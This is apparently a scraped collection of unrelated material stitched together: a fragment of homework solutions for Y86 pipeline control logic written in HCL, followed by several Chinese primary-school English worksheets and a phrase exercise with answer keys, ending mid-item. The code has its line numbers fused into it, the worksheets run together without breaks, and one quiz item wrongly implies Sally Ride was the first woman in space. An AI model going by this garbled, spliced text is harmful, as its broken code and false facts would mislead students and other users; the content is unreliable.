in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
人教版小学六年级英语试题【答案和题解】
人教版小学六年级英语试题【答案和题解】(共50道题)下面有答案和解题分析一、综合题1.I __________ (study) for my English test right now. I __________ (look) at my notes and __________ (practice) pronunciation. Yesterday, I __________ (review) some vocabulary, and I __________ (think) I __________ (do) well on the test. I __________ (feel) confident, but I __________ (need) to study more grammar before the test.2.Which of these is the color of grass?A. RedB. BlueC. GreenD. Yellow3.What do we use to write on paper?A. ForkB. SpoonC. PenD. Plate4.My brother _______ (watch) TV right now.5.They ________ (sing) a song at the concert.6.We _______ (be/am) excited about the trip.7.My father ______ a teacher.A. isB. amC. areD. be8.I _______ (not like) to drink coffee.9.What do you do when you are thirsty?A. EatB. DrinkC. SleepD. Run10.We _______ (learn) English every day.11.Which of these is a shape?A. CircleB. CatC. ChairD. Book12.Which one is a number?A. TenB. SpoonC. PlateD. Dog13.They _______ (help) me with my homework.14.Which of these is not an animal?A. LionB. TigerC. BirdD. Chair15.I _______ (read) a story right now.16.I _______ (take) a shower every morning.17.Which of these is a day of the week?A. DecemberB. SundayC. WinterD. Christmas18.I _______ (visit) my grandmother last weekend.19.I _______ (not) understand this lesson.20.What do you use to drink water?A. SpoonB. ForkC. PlateD. Cup21.I _______ (eat) pizza for dinner yesterday.22.Which one is correct?A. I am eat apples.B. I eats apples.C. I eating apples.D. I eat apples.23.They ________ (not, go) to school on Sundays.24.Which of these is a number?A. SevenB. SpoonC. TableD. Chair25.He _______ (do) his homework at the moment.26.Every Sunday, my family goes to the __________ for a walk. We enjoy the fresh air and the __________ around us. Sometimes, we see __________ flying in the sky. My little brother likes to pick __________ from the ground. After walking, we sit on a__________ and enjoy a small picnic.27.Every morning, I __________ (wake) up at 7:00 AM. After I __________ (get) out of bed, I __________ (brush) my teeth and __________ (wash) my face. Then I__________ (eat) breakfast with my family. I __________ (like) to eat toast and drink milk. After breakfast, I __________ (put) on my school uniform and __________ (go) to school. It __________ (be) a typical day in my life.28.I _______ (write) a letter now.29.We _______ (play / plays / played) soccer every afternoon.30.We _______ (not/go) to the zoo on weekdays.31.I _______ (read) a book yesterday.32.My school is very big. It has a large playground where we can play games during recess. There are also many classrooms, a library, and a computer room. I like my school because I have many friends here, and I enjoy learning new things.33.Which of these is used to clean the floor?A. MopB. KnifeC. PlateD. Fork34.Which of these is used to play music?A. GuitarB. PlateC. ChairD. Knife35.Which of the following is an animal?A. CatB. TreeC. BookD. Table36.Which of these is a vegetable?A. BananaB. BroccoliC. StrawberryD. Grape37.They _______ (watch) TV at this moment.38.I _______ (not/like) to drink coffee.39.Which of these is a shape?A. TableB. CarC. CircleD. Dog40.I have a ______. It’s very cute.A. dogB. bookC. tableD. car41.They _______ (study) for the test next week.42.He _______ (take/takes) a shower every morning.43.Yesterday, my sister __________ (buy) a new dress. It __________ (be) very beautiful, and she __________ (look) great in it. After we __________ (go) shopping, we __________ (meet) our friends and __________ (go) to the park. We __________ (have) lots of fun.44.We _______ (not/understand) the lesson today.45.I’m going to the __ this weekend. It’s a beautiful place with many __. We can see animals like __, __, and __. I love seeing the __ the most because they are very __. After the trip, we will have some __ and go back home.46.Which of these is a fruit?A. StrawberryB. PotatoC. CarrotD. Onion47.They _______ (watch) TV when I called them.48.She _______ (study) English at the moment.49.They _______ (play) chess tomorrow afternoon.50.Yesterday, we ______ (go) to the museum to learn about dinosaurs. We ______ (see) many fossils and models. It ______ (be) very interesting, and I ______ (take) a lot of pictures.(答案及解释)。
高中英语 每日一题(第1周)set down(含解析)新人教版必修1
set down重要程度：★★☆☆☆难易程度：★★☆☆☆(2014·陕西)Ralph W. Emerson would always ___________ new ideas that occurred to him.A. set offB. set aboutC. set upD. set down【参考答案】D【拓展延伸】set相关短语：set about (doing sth) 开始/着手(做某事)set out (to do sth) 开始/着手(去做某事)set aside 留出；不顾set back (把钟等)往回拨；推迟set free 释放；解放set off 动身/出发(去某地) ；使爆炸set apart 使与众不同；留出set up 建立，设立，创立set down写下，记下；登记；制定用set的相关短语或括号内所给词的适当形式填空1. In every class she _________ what the teachers say and write on the blackboard very carefullyso that she can go over them after class.2. For all these years I have been working for others. I’m hoping I’ll _________ my own business some day.3. Tom and his father _________ for America yesterday, and arrived there this morning.4. The moment I got home, I _________ to do my homework.5. He _________ a little money each week.6. You’d better some time every day to practise your spoken English.7. In 1995, the organization an office in Beijing.8. I don’t want to a series of facts in a diary as most people do.9. We need to set about (find) a solution to the problem.10. We set out (paint) the whole house in the morning but finished only the front part till night.1. sets down2. set up3. set off4. set out5. sets aside6. set aside7. set up 8. set down 9. finding10. to paintset短语回顾：__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________ __________________________________________________________________________________________ __________________________________________________________________________________________ __________________________________________________________________________________________ ____________________________________________________________________________________________________________________________________________________________________________________百度文库是百度发布的供网友在线分享文档的平台。
小学下册K卷英语第六单元暑期作业(含答案)
小学下册英语第六单元暑期作业(含答案)英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.The cake is ________ and sweet.2.我的朋友喜欢 _______ (活动). 她觉得这很 _______ (形容词)3.What do we call the act of finding out information?A. ResearchingB. InvestigatingC. LearningD. Studying4. A ______ (蜗牛) carries its home on its back.5.The __________ is a region known for its deserts and dry climate.6.The _____ (种植) of trees helps the environment.7.What do we call the movement of the Earth around the sun?A. RotationB. RevolutionC. OrbitD. Cycle答案:B8.What do we call the process of using resources without depleting them?A. Sustainable developmentB. ConservationC. PreservationD. Resource management答案:A9.The sun is _____ after the rain. (shining)10.The Hubble Space Telescope has taken many _____ images.11.She enjoys ________ (painting) landscapes.12. A _____ (种植) is when we put seeds in the ground.13.古代的________ (cultures) 通过艺术和建筑展示自己的价值观。
小学上册第六次英语第2单元暑期作业(有答案)
小学上册英语第2单元暑期作业(有答案)英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1. A ______ is a large, flat area of land at a high elevation.2.What is the name of the fairy tale character who lost her glass slipper?A. Snow WhiteB. CinderellaC. Sleeping BeautyD. Little Red Riding Hood 答案:b3.What is the name of the fairy tale character who had a glass slipper?A. Snow WhiteB. CinderellaC. Sleeping BeautyD. Rapunzel答案:B4.He is playing chess with ___. (his friend)5.The ____ has a smooth body and can swim quickly.6. A ____ has soft fur and enjoys cuddling with people.7.What do we call a group of lions?A. PackB. PrideC. FlockD. Gaggle答案: B8.We are going to ________ a picnic.9.The chemical formula for octanoic acid is ______.10.What is the main job of a farmer?A. TeachB. Grow cropsC. Repair carsD. Build houses答案:B11.My dad is known for his __________ (智慧).12.What is the term for the distance around a circle?A. AreaB. DiameterC. CircumferenceD. Radius答案:c13.The chemical formula for nickel(II) chloride is _____.14.My _____ (小猫) chases butterflies.15.The cake is ________ for my birthday.16.The dog is _____ under the table. (sleeping)17.During the summer, I often visit the __________. (海滩)18.I like to read ________ (漫画书).19.What is the name of the fairy tale character who loses her glass slipper?A. Snow WhiteB. CinderellaC. JasmineD. Belle答案: B20.We discuss ________ (strategies) for success.21.The chemical symbol for manganese is _____.22.The chemical symbol for cobalt is _______.23.This ________ (玩具) is fun for the whole family.24.The main component of proteins is _____.25.Listen and number.(听录音，标序号)26.Which instrument has keys and is played by pressing down on them?A. GuitarB. DrumC. PianoD. Violin答案: C27.The tree is _______ (tall/short).28.The _____ (field) is green.29.I like to ride my ______ (自行车) through the neighborhood with my friends.30.The Earth revolves around the sun in an _______ orbit.31.The _____ (环境影响) of deforestation is severe.32.Which of these animals is a fish?A. SharkB. DogC. BirdD. Rabbit答案:A Shark33.I have _____ (one/two) sister(s).34.The _______ can help create a relaxing environment.35.The chemical formula for sodium bicarbonate is ______.36.Saltwater is an example of a ______.37.I see a rainbow after the ______ (rain).38. A solution that is uniform throughout is called a _______ mixture.39.ic Ring of Fire is known for its __________. (火山活动) The Pers40. A solution that does not conduct electricity is called a ______ solution.41.The chemical symbol for titanium is __________.42.The __________ is a large lake in Canada. (安大略湖)43.The __________ of a volcano is the opening through which lava flows.44.Matter can exist in different states including _____, liquid, and gas.45.I can _____ very far. (run)46.I enjoy making crafts with my ________ (玩具类型).47.What is the name of the largest rainforest in the world?A. Congo RainforestB. Amazon RainforestC. Taiga ForestD. Deciduous Forest答案:B.Amazon Rainforest48.Listen “√”or “x”.(听录音，打钩或者画叉)49.Listen and tick.听录音，勾出每个人所喜欢的颜色。
作业质量差的英语
作业质量差的英语Certainly! Here's a content generation that fits the title "Poor Quality English Homework":Poor Quality English Homework: Common Issues and Solutions1. Spelling Mistakes:- Students often misspell common words, which can be due to lack of practice or not knowing the correct spelling.- Solution: Encourage the use of spell-check tools and regular vocabulary quizzes.2. Grammar Errors:- Incorrect use of tenses, articles, and prepositions are common.- Solution: Provide clear examples and practice exercises to reinforce grammar rules.3. Incomplete Sentences:- Students may struggle to construct complete sentences, often omitting necessary parts like subjects or verbs.- Solution: Teach sentence structure and require students to diagram sentences as homework.4. Lack of Punctuation:- Improper use of commas, periods, and other punctuationmarks can make sentences difficult to understand.- Solution: Incorporate punctuation exercises and review the rules regularly.5. Vocabulary Limitation:- Limited vocabulary can lead to repetitive language and a lack of expression.- Solution: Introduce new words daily and encourage students to use them in sentences.6. Irrelevant Content:- Sometimes, students may include information that is not relevant to the task.- Solution: Clearly define the assignment's objectives and provide outlines or templates.7. Poor Handwriting:- Illegible handwriting can make it difficult for teachers to assess the work.- Solution: Encourage neat handwriting and provide feedback on presentation.8. Lack of Depth:- Students may not delve into the topic deeply enough, providing only superficial answers.- Solution: Assign open-ended questions that require critical thinking and analysis.9. Plagiarism:- Copying from sources without proper citation is a serious issue.- Solution: Teach the importance of academic integrity and how to cite sources correctly.10. Time Management:- Rushed work often leads to poor quality.- Solution: Teach time management skills and set deadlines that allow for thorough work.Improving the quality of English homework requires a combination of clear instruction, regular practice, and constructive feedback. By addressing these common issues, both teachers and students can work together to enhance the learning experience.。
九年级英语将来完成进行时与现在完成进行时及过去完成时对比单选题50题
九年级英语将来完成进行时与现在完成进行时及过去完成时对比单选题50题1. I ______ my homework for two hours by the time you come back.A. will have been doingB. have been doingC. will doD. do答案：A。
本题考查将来完成进行时。
将来完成进行时表示在将来某一时间之前一直持续进行的动作。
“by the time you come back”表示将来的时间点，A 选项“will have been doing”符合，表示在你回来时，我将已经写作业两个小时了。
B 选项“have been doing”是现在完成进行时；C 选项“will do”是一般将来时；D 选项“do”是一般现在时，均不符合语境。
2. She ______ English for three years by now.A. has been studyingB. will have been studyingC. studiedD. studies答案：A。
本题考查现在完成进行时。
“by now”表示到现在为止，A 选项“has been studying”表示从过去开始一直持续到现在并且可能继续下去的动作，符合语境。
B 选项“will have been studying”是将来完成进行时；C 选项“studied”是一般过去时；D 选项“studies”是一般现在时，均不符合。
3. They ______ on this project for a month. But they won't finish it until next week.A. have been workingB. will have been workingC. workedD. work答案：A。
本题考查现在完成进行时。
“for a month”表示一段时间，A 选项“have been working”表示从过去开始一直持续到现在的动作，符合。
小学上册J卷英语第一单元测验试卷
小学上册英语第一单元测验试卷英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1. A solution is a type of ______.2.The ________ (herb) adds flavor to the food.3.The chemical formula for aluminum sulfate is __________.4.What is the name of the famous scientist who developed the polio vaccine?A. Albert SabinB. Jonas SalkC. Louis PasteurD. Edward Jenner5.What do we call the study of the body's systems and structures?A. BiologyB. AnatomyC. PhysiologyD. MedicineB6.I have a toy _____ that can change colors.7.I want to ________ (make) a difference.8. A goldfish's bright orange color helps it blend into its ________________ (环境).9.The puppy is _____ (cute/ugly).10.The ________ was a key event in the fight for universal equality.11.The __________ (社会参与) strengthens communities.12.Which animal lives in a den?A. BearB. FishC. BirdD. Snake13.What is the name of the famous explorer who discovered the New World?A. Vasco da GamaB. Ferdinand MagellanC. Christopher ColumbusD. Marco Polo14.The sun is shining ________ today.15._____ (foraging) can lead to delicious finds.16.I want to grow a ________ to make my room bright.17.The __________ (科学技术) improves our lives.18.The Earth's crust is made up of both continental and ______ components.19.The ice cream is _____ melting. (slowly)20.What is the name of the famous wall in China?A. Great Wall of ChinaB. Berlin WallC. Hadrian's WallD. China WallA21.Every weekend, I play with my toy ____ in the backyard. (玩具名称)22.What is the name of the fictional land in "The Chronicles of Narnia"?A. Middle-earthB. OzC. NarniaD. WonderlandC23.What do we call the person who helps in a hospital?A. TeacherB. NurseC. PilotD. Driver24.I like to feel the __________ on my skin during a sunny day. (微风)25.What is the name of the action of treating someone with kindness?A. CaringB. HelpingC. SupportingD. LovingA26.What is the name of the process plants use to make food?A. PhotosynthesisB. RespirationC. DigestionD. FermentationA27. A _______ is a chemical reaction that changes the physical state of a substance.28.What is the main gas that makes up the Earth's atmosphere?A. OxygenB. NitrogenC. Carbon DioxideD. HeliumB29.The ______ is shining brightly. (star)30.The _____ (butterfly/bird) is colorful.31.My friend has a great sense of __________ (风趣).32.What is the main ingredient in salad?A. BreadB. VegetablesC. MeatD. CheeseB Vegetables33.In the winter, I like to __________. The snow makes everything look __________.I love to build __________ and go __________ with my friends. It’s so much fun to__________ in the snow!34.The squirrel's diet consists mainly of ________________ (坚果) and seeds.35. A _______ is a reaction that occurs at high pressure.36.We should _______ (珍惜) our friendships.37.What do we call the feeling of being afraid?A. HappinessB. FearC. ExcitementD. AngerB38.I like to ______ my homework before dinner. (finish)39.The __________ (山区) offers great hiking trails.40.Which of these is a common pet?A. FishB. LionC. TigerD. Bear41.My aunt, ______ (我的阿姨), is a photographer.42.The chemical symbol for potassium is ______.43.The teacher is very ___ (kind).44.What is the name of the famous wall in China?A. The Great WallB. Hadrian's WallC. Berlin WallD. Wall of JerichoA45.我的朋友喜欢 _______ (活动). 她觉得这很 _______ (形容词)46.What is the name of the fairy tale with a wicked queen and a poisoned apple?A. Sleeping BeautyB. Snow WhiteC. CinderellaD. The Frog PrinceB47.The _____ (金鲨) glides through the ocean with grace. 金鲨优雅地穿梭于海洋中。
小学上册第16次英语第1单元期末试卷[含答案]
![小学上册第16次英语第1单元期末试卷[含答案]](https://img.taocdn.com/s3/m/b8d8ddb448649b6648d7c1c708a1284ac8500590.png)
小学上册英语第1单元期末试卷[含答案]英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.My mom is a _____ (teacher).2.What do you call the process of cooking food in water?A. BoilingB. BakingC. FryingD. Grilling3.What is the capital of Thailand?A. HanoiB. BangkokC. JakartaD. Manila4.They are going to ___ (play/see) a movie.5.What do you call a story that is made up?A. Non-fictionB. FictionC. BiographyD. History答案:B6.volunteer program) engages community members in service. The ____7.In a solution, the part that is dissolved is called the _____.8.Metals are generally shiny and _____.9.The weasel is very ______ (灵活).10.I think it’s important to ________ (照顾) our planet.11.What do you call a sweet, baked treat made from flour and sugar?A. CakeB. CookieC. BrownieD. All of the above答案:D12.What is the name of the currency used in the United Kingdom?A. DollarB. EuroC. PoundD. Yen答案:C13.Chemical bonds are formed through the sharing or transfer of ______.14.I like to ______ (参与) in career workshops.15.What is the capital city of the United Kingdom?A. LondonB. DublinC. EdinburghD. Cardiff16.What is the opposite of 'happy'?A. SadB. JoyfulC. ExcitedD. Angry答案:A17.The ________ (栖息地破坏) threatens biodiversity.18.The __________ (政治变迁) influence the course of a nation’s history.19.I want to ________ (encourage) teamwork.20.Growing plants can teach us about __________ (生命).21.The ____ is known for its strength and can run very fast.22.The teacher gives us ______ (homework) every day.23.The __________ (生态意识) promotes responsibility.24.My friend is a ______. He enjoys photography contests.25.The ________ (阳光直射) helps plants thrive.26.The _____ (小马) loves to run in the field.27.The chemical formula for glucose is __________.28.What shape is a stop sign?A. CircleB. TriangleC. HexagonD. Octagon29.Which day comes after Monday?A. SundayB. TuesdayC. WednesdayD. Thursday答案:B Tuesday30.The __________ (历史的成果) can be profound.31.I have a big ________ (花园) behind my house.32.The chemical formula for ethanol is _______.33.Space exploration helps us understand our place in the _______.34.The ______ helps us learn about different cultures.35.What do bees produce?A. MilkB. HoneyC. EggsD. Silk36.The process of changing from a gas to a liquid is called _______.37.The fish has colorful _________. (鳞片)38.What is the capital of Latvia?A. RigaB. VilniusC. TallinnD. Kaunas39.What is the capital of Bulgaria?A. SofiaB. PlovdivC. VarnaD. Burgas40.The _____ (花坛) is full of blooming flowers.41.The __________ (历史的传承) carries forward wisdom.42.What is the name of the large desert in Africa?A. SaharaB. GobiC. KalahariD. Atacama答案:A43.What do we call a young female pig?A. CalfB. KidC. PigletD. Sow答案:C44.The _____ (nectarines) are juicy peaches.45.What do we call the time when the sun goes down?A. SunriseB. SunsetC. NoonD. Midnight答案:B46.We can _______ a fun game tonight.47.What do you call the event where you celebrate someone's birthday?A. PartyB. FestivalC. GatheringD. Ceremony答案:A48.I feel special when my teacher calls me ______ in class. (当我老师在课堂上称我为____时，我感到很特别。
小学上册第2次英语第六单元综合卷(有答案)
小学上册英语第六单元综合卷(有答案)英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.I love to spend time with my ____. (我喜欢和我的____共度时光。
)2.I saw a ________ building a nest.3.My brother likes to go ____ (rock climbing).4.We visit ______ (文化中心) to learn about traditions.5.Energy from the sun is called ______ energy.6.The ______ (小鸟) flies south for the ______ (冬天) to find warmer weather.7.It is _______ to be kind to others.8.The first woman to fly solo across the Atlantic was ______ (阿梅莉亚·厄哈特).9.The color of a flame can indicate the presence of certain ________.10. A lion is called the _______ of the jungle.11.The _____ (clouds/trees) are white.12.The butterfly undergoes a _______ to become an adult.13.We go to _____ (school/home) every day.14.She _____ (likes/love) to read stories.15.I have a funny . (我有一个有趣的。
)16.What is the name of the famous American singer known for "Vision of Love"?A. Mariah CareyB. Whitney HoustonC. Janet JacksonD. Celine Dion 答案: A17. A _______ is a chemical reaction that produces heat and light.18. A __________ (分子工程) focuses on designing new molecules for specific purposes.19.We celebrate _______ together.20.The dog is ___ (barking/silent).21.The __________ is responsible for shaping the earth's surface.22.The teacher gives us _____ for homework. (assignments)23.The children are ______ outside. (playing)24.The ________ (canyon) is carved by water.25.We have ________ (homework) to do.26.The sun is ______ (shining) in the clear sky.27.The __________ (历史的复制) can occur in various forms.28._____ (homegrown) produce tastes the best.29.There are _____ (four/five) seasons in a year.30.I can create a new world with my toy ________ (玩具名称).31.The clock shows ______ (three) o'clock.32.We visit the ______ (自然史博物馆) to learn about fossils.33.What is the name of the famous artist known for his "Water Lilies"?A. Claude MonetB. Vincent van GoghC. Pablo PicassoD. Henri Matisse答案: A34.The process of creating new substances is called ______.35.My sister is ________ her friends.36.The __________ was a time when the world faced significant changes. (冷战)37.What do we call the area of land that is known for its unique climate and vegetation?A. BiomeB. EcosystemC. HabitatD. Region答案: A. Biome38.The ______ is the center of an atom.39. A ______ (青蛙) can be found in many colors and patterns.40.Many people enjoy ______ (种植) flowers.41.I can ________ my name.42.What do you call the event where people come together to celebrate a milestone?A. CelebrationB. PartyC. GatheringD. Reunion答案: A43.The ______ (老虎) is known for its beautiful fur patterns.44.The beach is _______ and sunny.45.Can you help me __? (please)46.The __________ is a famous area known for its skyscrapers.47.Flowers attract _______ and other pollinators.48.I have a _____ (遥控车) that can spin.49. A __________ (绿色屋顶) can help insulate buildings.50.小鸟) flaps its wings excitedly. The ___51.My brother is very ________.52. A bird builds a ______ (巢) in trees.53. A _____ (植物管理) plan can optimize resources and efforts.54.The ______ (植物互助) creates symbiotic relationships.55.The _____ (植物疗法) explores healing properties of plants.56. A saturated solution contains the maximum amount of ______.57.The sun is very ________ today.58.What is the name of the largest desert in the world?A. SaharaB. GobiC. AtacamaD. Kalahari答案:A59.Certain plants can _____ (繁殖) quickly in warm weather.60.The capital of Finland is ________ (芬兰的首都是________).61.What is the value of 10 2 × 3?A. 4B. 6C. 8D. 10答案:A62.My brother is a ______. He enjoys playing the saxophone.63.The capital of Armenia is ________ (亚美尼亚的首都是________).64. A _______ (小猴子) is very curious and playful.65.Galileo was one of the first to use a ______.66.I have a collection of toy _____ from my travels.67.We have a ______ (有趣的) day planned for next month.68.I have a toy _____ that can transform.69.The __________ (历史的动态性) showcases adaptability.70.What is the name of the famous author of "Harry Potter"?A. J.R.R. TolkienB. J.K. RowlingC. C.S. LewisD. Stephen King 答案: B71.I want to be a _____ when I grow up. (doctor)72. A ________ (海滩) is a great place for vacation.73.ts can ______ (适应极端气候). Some pla74.In a hydration reaction, water is added to a _____ to form a hydrate.75.The ______ (种类) of plants can include many different families.76.What is the term for a young frog?A. TadpoleB. FryC. EelD. Spawn答案:A77.What do you call the main character in a story?A. ProtagonistB. AntagonistC. NarratorD. Supporting character 答案:Aanic chemistry is the study of carbon-containing ______.79. A ____ is an excellent climber and enjoys eating fruits.80.I think exploring new places can teach us about __________.81.My birthday is in __________, and I usually celebrate by __________.82.The scientist, ______ (科学家), explores new discoveries.83. A lion is known as the ________________ (森林之王).84.I like _____ (chocolate/vanilla) ice cream.85.I have a ______ (collection) of toy cars.86.__________ (原子序数) indicates the number of protons in an atom.87.I love to ______ (与朋友一起) volunteer for community projects.88.She is a nurse, ______ (她是一名护士), who works long hours.89.Heat can change the state of ______.90.The _____ (豹) can climb trees very well.91.My _____ (魔方) is colorful and tricky.92. A mole has strong _______ (前爪) for digging.93.The river is full of ________.94.The chemical formula for calcium hydroxide is _____.95.I love watching animals at the zoo. My favorite animal is __________.96.Cacti grow in _______ environments and need little care.97.The first woman to fly in space was _______ Ride.98.What do you call a book of maps?A. DictionaryB. AtlasC. NovelD. Journal答案: B99.The capital of Sweden is __________.100.The capital of Latvia is ________ (里加).。
小学上册第1次英语第二单元期末试卷
小学上册英语第二单元期末试卷英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.What do we call the largest organ in the human body?A. HeartB. SkinC. LiverD. BrainB Skin2.The book is on the ______. (table)3.The __________ is a famous historical site in Mexico. (特奥蒂瓦坎)4.The __________ can reveal the historical context of geological formations.5.What do you call a place where animals are kept for public display?A. FarmB. ZooC. ParkD. AquariumB6.My ________ (玩具名称) is made of soft material.7.__________ are used in perfumes for fragrance.8.I think animals are very _______ (形容词). They bring joy and _______ (快乐) to our lives.9.What do you call the process of changing from a liquid to a gas?A. CondensationB. EvaporationC. SublimationD. FreezingB10. Plains were home to many Native American ______ (部落). The Grea11.What is the name of the bear that loves honey?A. PaddingtonB. Winnie the PoohC. Yogi BearD. BalooB12.I want to learn how to ________ (骑自行车).13. A __________ is a type of chemical bond where electrons are shared.14.The invention of the compass aided in navigation at _____.15.The squirrel's tail is very ______ (蓬松).16.What is the name of the famous castle in Scotland?A. Edinburgh CastleB. Windsor CastleC. Neuschwanstein CastleD. Alcázar of SegoviaA Edinburgh Castle17. A _______ (小猩猩) is known for its intelligence and strength.18.What is the opposite of cold?A. WarmB. HotC. CoolD. Chilly19.What is the name of the large body of freshwater that is smaller than an ocean?A. LakeB. PondC. RiverD. StreamA20.The __________ is a region known for its scenic beauty.21.The beach is _____ (crowded/empty) in summer.22. A ______ is a geographical feature that can influence ecosystems.23.The __________ (历史的交互方式) shapes our comprehension.24.The ______ teaches us about physical education.25.I enjoy _______ in the pool.26. A _______ (小鸭子) swims behind its mother.27.My favorite _____ is a teddy bear.28.How many stars are estimated to be in the Milky Way galaxy?A. 100 millionB. 200 billionC. 400 billionD. 1 trillion29.Flowers attract _____ (昆虫) for pollination.30.My grandma enjoys making __________ (美味的食物).31.His favorite food is ________.32.What is the main language spoken in Brazil?A. SpanishB. PortugueseC. EnglishD. FrenchB33.Chemical reactions can change the physical and ______ properties of substances.34.I have a toy _______ that can change colors with the touch of a button.35.My favorite game is ________ (扑克牌) with my family.36.The atomic number tells you the number of ______.37.My dad _____ dinner every Sunday. (cooks)38.I love to play ______ (乐器) like the guitar and piano. Music is a big part of my life.39.What is the name of the famous ancient city in Jordan?A. PetraB. BabylonC. CarthageD. MycenaeA40.Ancient Egyptians believed in many ________.41.War divided Europe into Eastern and Western ________ (阵营). The Cold42.The bat flies at ____.43.What is 3 - 1?A. 2B. 3C. 4D. 544.I like to eat ______ 